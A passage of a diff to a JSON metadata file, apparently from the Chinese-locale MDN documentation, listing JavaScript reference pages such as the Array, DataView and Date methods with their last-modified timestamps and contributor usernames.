"Braised-Cakes" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/flatMap": { + "modified": "2020-11-30T01:43:38.078Z", + "contributors": [ + "zyq", + "BadmasterY", + "SageX", + "ZzqiZQute", + "a81965689", + "RainSlide", + "rxliuli", + "LiuYuan", + "Channely", + "zhixudong666", + "baylin87" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/forEach": { + "modified": "2020-10-15T21:07:41.999Z", + "contributors": [ + "inlym", + "RainSlide", + "SageX", + "yuwei", + "HermitSun", + "zhangchen", + "hhxxhg", + "fscholz", + "futurefeeling", + "LinLshare", + "gossling", + "bibi941", + "xgqfrms-GitHub", + "lssbq", + "voidzhou", + "kameii", + "Liyunsheng", + "TomIsion", + "helloguangxue", + "Ende93", + "Harvesty", + "AlexChao", + "ziyunfei", + "teoli", + "yanhaijing1234" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/from": { + "modified": "2020-10-15T21:27:52.328Z", + "contributors": [ + "cellinlab", + "RainSlide", + "WhiteMind", + "SageX", + "tc_dreamer", + "EmmaYXY", + "zppro", + "smallbag", + "fscholz", + "hongxu.Wei", + "banli17", + "ywjco", + "Jat", + "xgqfrms-GitHub", + "jessie-zly", + "spicyboiledfish", + "Ende93", + "kdex", + "micheal-death", + "xiaokk06", + "helloguangxue", + "jiraiya", + "LinusYu", + "ngtmuzi", + "yenshen", + "ziyunfei", + "tiansh" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/includes": { + "modified": "2020-10-15T21:30:09.625Z", + "contributors": [ + "FrankYuanhao", + "hjxtclm", + "zheng1013757145", + "vaynewang", + "RainSlide", + "Warden", + "NiroDu", + "fscholz", + "futurefeeling", + "hongxu.Wei", + "badfl", + "hua03", + "kdex", + "xgqfrms-GitHub", + "kameii", + "lizhongyi", + "Ende93", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/indexOf": { + "modified": "2020-10-15T21:26:12.959Z", + "contributors": [ + "SageX", + "Xmader", + "fscholz", + "futurefeeling", + "jiankian", + "big-dinner", + "xgqfrms-GitHub", + "lanezhao", + "keqingrong", + "Ende93", + "paddingme", + "AlexChao", + "ziyunfei", + "focus", + "teoli", + "eric.yuan" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/isArray": { + "modified": "2020-10-15T21:02:37.096Z", + "contributors": [ + "SageX", + "Frederick-S", + "fscholz", + "zhangsenhua", + "yenshen", + "xgqfrms-GitHub", + "ToWorkit", + "Dcfm", + "xiaokk06", + "Ende93", + "ziyunfei", + "teoli", + "paddingme" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/join": { + "modified": "2020-10-15T21:05:15.988Z", + "contributors": [ + "SageX", + "Heaan", + "zhangchen", + "fscholz", + "futurefeeling", + "xgqfrms-GitHub", + "badfl", + "helloguangxue", + "yenshen", + "saintwinkle", + "AlexChao", + "ziyunfei", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/keys": { + "modified": "2020-10-15T21:32:21.834Z", + "contributors": [ + "zhangchen", + "fscholz", + "futurefeeling", + "LemonGirl", + "micheal-death", + "xgqfrms-GitHub", + "ziyunfei", + "200OK" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf": { + "modified": "2020-10-15T21:29:02.691Z", + "contributors": [ + "SageX", + "fscholz", + "futurefeeling", + "badfl", + "ywjco", + "AlexChao", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/length": { + "modified": "2020-10-15T21:21:14.308Z", + "contributors": [ + "binarization", + "fscholz", + "fisker", + "jeneser", + "shaodahong", + "The-End-Hero", + "yenshen", + "AlexChao", + "ziyunfei", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/map": { + "modified": "2020-10-15T21:07:20.691Z", + "contributors": [ + "fscholz", + "Zzc19970910", + "Slartbartfast1", + "Jayly", + "ooo1l", + "petrewoo", + "SageX", + "old2sun", + "BingerWeb", + "zhangchen", + "ssttii", + "fengkx", + "xgqfrms-GitHub", + "W4n9Hu1", + "hooozen", + "Ts799498164", + "zhuangyin", + "righttoe", + "notmaster", + "Ende93", + "niices", + "JinxiuLee", + "ziyunfei", + "helinjiang", + "Young-Wang", + "xiaomingming", + "AlexChao", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/of": { + "modified": "2020-10-15T21:17:21.107Z", + "contributors": [ + "chunfeng08", + "fscholz", + "mingttong", + "FunnyZ", + "micheal-death", + "enem", + "xgqfrms-GitHub", + "Ende93", + "yenshen", + "ziyunfei", + "teoli", + "Oatn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/pop": { + "modified": "2020-10-15T21:21:08.570Z", + "contributors": [ + "fscholz", + "Spaghet-Ti", + "ndNovaDev", + "micheal-death", + "xgqfrms-GitHub", + "ysneo", + "AlexChao", + "ziyunfei", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/push": { + "modified": "2020-10-15T21:17:19.272Z", + "contributors": [ + "Huauauaa", + "L9m", + "fscholz", + "lizhonggang", + "Spikef", + "shery", + "micheal-death", + "xgqfrms-GitHub", + "Ende93", + "yenshen", + "AlexChao", + "ziyunfei", + "teoli", + "Oatn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/reverse": { + "modified": "2020-10-15T21:17:25.177Z", + "contributors": [ + "jingchaocheng", + "SageX", + "huxinsen", + "ifredom", + "fscholz", + "futurefeeling", + "xgqfrms-GitHub", + "Ende93", + "AlexChao", + "ziyunfei", + "teoli", + "Oatn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/shift": { + "modified": "2020-10-15T21:26:52.357Z", + "contributors": [ + "SageX", + "jinger7281", + "fscholz", + "badfl", + "LemonGirl", + "micheal-death", + "xgqfrms-GitHub", + "Ende93", + "pd4d10", + "teoli", + "AlexChao", + "ziyunfei", + "endlesswind" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/slice": { + "modified": "2020-11-30T04:00:58.912Z", + "contributors": [ + "shery", + "Zzt-G", + "RainSlide", + "Fire1nRain", + "Mrdapeng", + "MoYuLing", + "Jiang-Xuan", + "524119574", + "xgqfrms-GitHub", + "zhuangyin", + "yiyaxueyu", + "k644606347", + "lihx_hit", + "MechanicianW", + "FlowingRiver", + "GTyexing", + "Ende93", + "aximario", + "helloguangxue", + "AlexChao", + "ziyunfei", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/some": { + "modified": "2020-10-15T21:26:00.318Z", + "contributors": [ + "SageX", + "simonzhao", + "Zohar727", + "Kuroo", + "lzszone", + "gqbre", + "lmislm", + "KangKai-fe", + "zhangchen", + "xgqfrms-GitHub", + "AlexChao", + "ziyunfei", + "teoli", + "yanhaijing1234" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/sort": { + "modified": "2020-10-15T21:17:18.762Z", + "contributors": [ + "810307015", + "xgqfrms", + "zhangchen", + "kaojistream", + "fscholz", + "ywjco", + "Mr-Li-admin", + "NuclearBlast", + "righttoe", + "JackFeng", + "MeCKodo", + "micheal-death", + "Feel-Joy", + "houbx", + "xgqfrms-GitHub", + "ziyunfei", + "stonewen", + "wuzhenquan", + "helloguangxue", + "Ende93", + "helinjiang", + "dameinliu", + "XingxianLI", + "tiansh", + "teoli", + "Oatn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/splice": { + "modified": "2020-10-15T21:28:59.144Z", + "contributors": [ + "ThornWu", + "ttxs69", + "DouglasRyan", + "oopsguy", + "RainSlide", + "ifredom", + "zhuangyin", + "SphinxKnight", + "VinciXie", + "daijie", + "yonoel", + "dpwwwq", + "shibomeng", + "fscholz", + "Jiang-Xuan", + "zhipeng001", + "lemonboy233", + "ywjco", + "badfl", + "hawtim", + "Lemon-jie", + "KMKNKK", + "frankfang1990", + "FlySnails", + "xgqfrms-GitHub", + "NNNaix", + "Lemon-c", + "HUxiaoAlinNG", + "Rising_sun", + "w-halo", + "FlowingRiver", + "me-code", + "Ende93", + "Qin", + "huyue" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/toLocaleString": { + "modified": "2020-10-15T21:29:06.488Z", + "contributors": [ + "fscholz", + "zhangchen", + "badfl", + "zxhycxq", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/toSource": { + "modified": "2020-10-15T21:21:06.880Z", + "contributors": [ + "fscholz", + "badfl", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/toString": { + "modified": "2020-10-15T21:29:03.089Z", + "contributors": [ + "zhangchen", + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/unshift": { + "modified": "2020-10-15T21:23:36.187Z", + "contributors": [ + "benngai123", + "No_risk_atpresent", + "jinger7281", + "heeronchang", + "RainSlide", + "L9m", + "zhangchen", + "fscholz", + "xgqfrms-GitHub", + "AlexChao", + "ziyunfei", + "teoli", + "xfeng" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/values": { + "modified": "2020-10-15T21:37:23.141Z", + "contributors": [ + "Agcaiyun", + "johnao", + "RainSlide", + "SageX", + "fscholz", + "ywjco", + "redoc", + "xgqfrms-GitHub", + "Ende93", + "AlexChao", + "KingMario" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": { + "modified": "2020-10-15T21:27:45.114Z", + "contributors": [ + "woshiqiang1", + "wallena3", + "Jiang-Xuan", + "Terry.Qiao", + "xgqfrms-GitHub", + "kameii", + "liyongleihf2006", + "maicss", + "teoli", + "Jijie.Chen", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/@@species": { + "modified": "2020-10-15T21:52:04.532Z", + "contributors": [ + "fscholz", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength": { + "modified": "2020-10-15T21:37:49.462Z", + "contributors": [ + "fscholz", + "kameii", + "fred4444source" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView": { + "modified": "2020-10-15T21:37:49.247Z", + "contributors": [ + "Dyon", + "knightyun", + "fscholz", + "yunl819", + "fred4444source" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice": { + "modified": "2020-10-15T21:51:34.058Z", + "contributors": [ + "fscholz", + "kameii" + ] + }, + "Web/JavaScript/Reference/Global_Objects/AsyncFunction": { + "modified": "2020-10-15T21:50:47.192Z", + "contributors": [ + "Terry.Qiao", + "xgqfrms-GitHub", + "Ende93", + "_da" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics": { + "modified": "2020-10-15T21:47:39.816Z", + "contributors": [ + "xgqfrms", + "zhangchen", + "Terry.Qiao", + "LawrenceChenPro", + "JianrongYu", + "Ende93", + "Hearmen", + "weishuaikun", + "Spring_Winter_Wine" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/add": { + "modified": "2020-10-15T21:52:07.041Z", + "contributors": [ + "fscholz", + "RoXoM", + "JianrongYu", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/and": { + "modified": "2020-10-15T21:52:05.452Z", + "contributors": [ + "fscholz", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/compareExchange": { + "modified": "2020-10-15T21:52:07.140Z", + "contributors": [ + "fscholz", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/exchange": { + "modified": "2020-10-15T21:52:04.443Z", + "contributors": [ + "fscholz", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/isLockFree": { + "modified": "2020-10-15T21:52:17.441Z", + "contributors": [ + "fscholz", + "eyfor", + "Mocuishle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/load": { + "modified": "2020-10-15T21:58:11.479Z", + "contributors": [ + "fscholz", + "Mukti" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/notify": { + "modified": "2020-10-15T22:21:48.950Z", + "contributors": [ + "lizhongzhen11", + "lifankohome" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/or": { + "modified": "2020-10-15T22:21:50.539Z", + "contributors": [ + "lifankohome" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/store": { + "modified": "2020-10-15T21:57:10.970Z", + "contributors": [ + "fscholz", + "zouyang1230", + "shenrongliu" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/sub": { + "modified": "2020-10-15T22:24:45.287Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/wait": { + "modified": "2020-10-15T22:21:34.534Z", + "contributors": [ + "hanalice", + "Jinyingyi" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/xor": { + "modified": "2020-10-15T22:24:45.064Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt": { + "modified": "2020-10-15T22:12:07.852Z", + "contributors": [ + "YouHeng", + "BadmasterY", + "dstyxy", + "fefe982", + "ddztomcat", + "c412216887", + "lovue" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/BigInt": { + "modified": "2020-10-15T22:25:55.480Z", + "contributors": [ + "wallena3" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/asIntN": { + "modified": "2020-10-15T22:24:46.833Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/asUintN": { + "modified": "2020-10-15T22:24:47.578Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/toLocaleString": { + "modified": "2020-10-15T22:24:47.615Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/toString": { + "modified": "2020-10-15T22:24:48.189Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/valueOf": { + "modified": "2020-10-15T22:24:48.266Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt64Array": { + "modified": "2020-10-15T22:17:01.806Z", + "contributors": [ + "vent", + "SDUTWSL" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigUint64Array": { + "modified": "2020-10-15T22:20:32.429Z", + "contributors": [ + "liruiqi" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean": { + "modified": "2020-11-05T03:24:53.922Z", + "contributors": [ + "SphinxKnight", + "184289542", + "Yayure", + "snail-xx", + "zeyongTsai", + "Terry.Qiao", + "comyn", + "zhangchen", + "SmluVFpI", + "righttoe", + "Hugh", + "xgqfrms-GitHub", + "Folgore", + "emctoo", + "slientomorrr", + "yenshen", + "ziyunfei", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/toSource": { + "modified": "2020-10-15T21:51:59.093Z", + "contributors": [ + "fscholz", + "Grizzly-Eric" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/toString": { + "modified": "2020-10-15T21:28:54.689Z", + "contributors": [ + "fscholz", + "zhangchen", + "yenshen", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/valueOf": { + "modified": "2020-10-15T21:28:53.640Z", + "contributors": [ + "fscholz", + "zhangchen", + "yenshen", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView": { + "modified": "2020-10-15T21:34:38.297Z", + "contributors": [ + "wenshui2008", + "RainSlide", + "jason-grimm", + "Jiang-Xuan", + "Terry.Qiao", + "liyongleihf2006", + "Taoja", + "xiaokk06", + "Ende93", + "NIGHTEAGLE" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/buffer": { + "modified": "2020-10-15T21:52:04.673Z", + "contributors": [ + "fscholz", + "wizardforcel", + "holynewbie" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/byteLength": { + "modified": "2020-10-15T21:52:04.538Z", + "contributors": [ + "fscholz", + "wizardforcel", + "holynewbie" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/byteOffset": { + "modified": "2020-10-15T21:52:05.195Z", + "contributors": [ + "fscholz", + "wizardforcel", + "holynewbie" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getBigInt64": { + "modified": "2020-10-15T22:21:33.559Z", + "contributors": [ + "fade-vivida", + "SilverTime" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getBigUint64": { + "modified": "2020-10-15T22:22:15.035Z", + "contributors": [ + "jinger7281" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getFloat32": { + "modified": "2020-10-15T21:49:48.544Z", + "contributors": [ + "wenshui2008", + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getFloat64": { + "modified": "2020-10-15T21:49:48.242Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getInt16": { + "modified": "2020-10-15T21:49:47.595Z", + "contributors": [ + "knightyun", + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getInt32": { + "modified": "2020-10-15T21:49:48.330Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getInt8": { + "modified": "2020-10-15T21:44:13.950Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getUint16": { + "modified": "2020-10-15T21:49:47.729Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getUint32": { + "modified": "2020-10-15T21:49:47.551Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getUint8": { + "modified": "2020-10-15T21:44:16.655Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setBigInt64": { + "modified": "2020-10-15T22:24:55.568Z", + "contributors": [ + "wenshui2008" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setBigUint64": { + "modified": "2020-10-15T22:24:53.419Z", + "contributors": [ + "wenshui2008" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setFloat32": { + "modified": "2020-10-15T21:49:50.076Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setFloat64": { + "modified": "2020-10-15T21:49:50.505Z", + "contributors": [ + "farteryhr", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setInt16": { + "modified": "2020-10-15T21:49:50.736Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setInt32": { + "modified": "2020-10-15T21:49:50.027Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setInt8": { + "modified": "2020-10-15T21:37:32.797Z", + "contributors": [ + "fscholz", + "Taoja", + "mzhejiayu" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setUint16": { + "modified": "2020-10-15T21:49:49.541Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setUint32": { + "modified": "2020-10-15T21:49:50.144Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setUint8": { + "modified": "2020-10-15T21:49:48.203Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date": { + "modified": "2020-10-19T08:07:05.768Z", + "contributors": [ + "SphinxKnight", + "songzeng2016", + "ZhangXianWei", + "johnao", + "oujielong", + "striveyan", + "fefe982", + "Mr_z", + "litmonw", + "RainSlide", + "jackylz", + "fscholz", + "VAN666", + "liuzeyafzy", + "whinc", + "sharp-c", + "distums", + "helloguangxue", + "zhang384579631", + "yenshen", + "fuchao2012", + "hikarievo", + "teoli", + "littleVege", + "AlexChao", + "ziyunfei", + "liminjun", + "confusedwu", + "Mickeyboy", + "Mgjbot" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/@@toPrimitive": { + "modified": "2020-10-15T22:06:53.986Z", + "contributors": [ + "pea3nut" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/Date": { + "modified": "2020-10-15T22:28:18.123Z", + "contributors": [ + "lztom2046" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/UTC": { + "modified": "2020-10-15T21:28:25.934Z", + "contributors": [ + "tclzcja", + "fscholz", + "Hugh", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getDate": { + "modified": "2020-10-15T21:03:50.488Z", + "contributors": [ + "hsqin", + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getDay": { + "modified": "2020-10-15T21:03:58.429Z", + "contributors": [ + "HFatBird", + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getFullYear": { + "modified": "2020-10-15T21:03:49.040Z", + "contributors": [ + "fscholz", + "zhangchen", + "xqin", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getHours": { + "modified": "2020-10-15T21:03:54.198Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds": { + "modified": "2020-10-15T21:03:36.395Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getMinutes": { + "modified": "2020-10-15T21:03:39.835Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getMonth": { + "modified": "2020-10-15T21:03:43.325Z", + "contributors": [ + "fscholz", + "viko16", + "Ende93", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getSeconds": { + "modified": "2020-10-15T21:03:45.760Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getTime": { + "modified": "2020-10-15T21:28:11.731Z", + "contributors": [ + "YISHI", + "fscholz", + "Ende93", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset": { + "modified": "2020-10-15T21:28:12.331Z", + "contributors": [ + "daix6", + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCDate": { + "modified": "2020-10-15T21:33:57.569Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCDay": { + "modified": "2020-10-15T21:33:56.103Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear": { + "modified": "2020-10-15T21:33:57.710Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCHours": { + "modified": "2020-10-15T21:34:04.488Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds": { + "modified": "2020-10-15T21:34:05.550Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes": { + "modified": "2020-10-15T21:34:04.468Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth": { + "modified": "2020-10-15T21:34:04.629Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds": { + "modified": "2020-10-15T21:34:04.630Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getYear": { + "modified": "2020-10-15T21:28:12.583Z", + "contributors": [ + "fscholz", + "Edith_Ren", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/now": { + "modified": "2020-10-15T21:21:13.943Z", + "contributors": [ + "RainSlide", + "fscholz", + "Ende93", + "AlexChao", + "ziyunfei", + "teoli", + "StuPig" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/parse": { + "modified": "2020-10-15T21:28:30.337Z", "contributors": [ - "weibangtuo", - "kidonng", + "lyh2668", + "fscholz", + "Tao-Quixote", + "hkuclion", + "distums", + "gqqnbig", + "yeliex", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setDate": { + "modified": "2020-10-15T21:28:14.248Z", + "contributors": [ + "jinger7281", + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setFullYear": { + "modified": "2020-10-15T21:28:11.404Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setHours": { + "modified": "2020-10-15T21:28:14.385Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds": { + "modified": "2020-10-15T21:28:19.563Z", + "contributors": [ + "fscholz", + "htitme", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setMinutes": { + "modified": "2020-10-15T21:28:16.896Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setMonth": { + "modified": "2020-10-15T21:28:14.760Z", + "contributors": [ + "ZZES_REN", + "fscholz", + "luyouxin84", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setSeconds": { + "modified": "2020-10-15T21:28:14.577Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setTime": { + "modified": "2020-10-15T21:28:10.430Z", + "contributors": [ + "dylanyg", + "fscholz", + "ziyunfei", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCDate": { + "modified": "2020-10-15T21:34:46.724Z", + "contributors": [ + "fscholz", + "rubyisapm" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear": { + "modified": "2020-10-15T21:48:19.613Z", + "contributors": [ + "fscholz", + "zachary05" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCHours": { + "modified": "2020-10-15T21:53:04.641Z", + "contributors": [ + "fscholz", + "haijianyang" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds": { + "modified": "2020-10-15T21:55:54.800Z", + "contributors": [ + "fscholz", + "yys" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes": { + "modified": "2020-10-15T22:00:10.646Z", + "contributors": [ + "fscholz", + "LiuYuan" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth": { + "modified": "2020-10-15T21:51:40.559Z", + "contributors": [ + "fscholz", + "wizardforcel", + "Jabinzou" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds": { + "modified": "2020-10-15T21:49:40.074Z", + "contributors": [ + "fscholz", + "wizardforcel", + "petrelselina" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setYear": { + "modified": "2020-10-15T22:29:46.049Z", + "contributors": [ + "SDUTWSL" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toDateString": { + "modified": "2020-10-15T21:28:24.093Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toGMTString": { + "modified": "2020-10-15T21:28:14.066Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toISOString": { + "modified": "2020-10-15T21:28:16.900Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toJSON": { + "modified": "2020-10-15T21:28:08.978Z", + "contributors": [ + "fscholz", + "KMKNKK", + "Cattla", + "helloguangxue", "yenshen", - "WayneCui", - "oopsguy", - "xgqfrms-GitHub" + "Yaty", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString": { + "modified": "2020-10-15T21:28:17.098Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toLocaleString": { + "modified": "2020-10-15T21:28:25.398Z", + "contributors": [ + "fscholz", + "wangerniu", + "liyongleihf2006", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString": { + "modified": "2020-10-15T21:28:22.937Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toSource": { + "modified": "2020-10-15T22:00:19.218Z", + "contributors": [ + "fscholz", + "haipeng.liang" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toString": { + "modified": "2020-10-15T21:28:13.694Z", + "contributors": [ + "yunxu1019", + "fscholz", + "yenshen", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toTimeString": { + "modified": "2020-10-15T21:28:22.895Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao" + ] + }, + 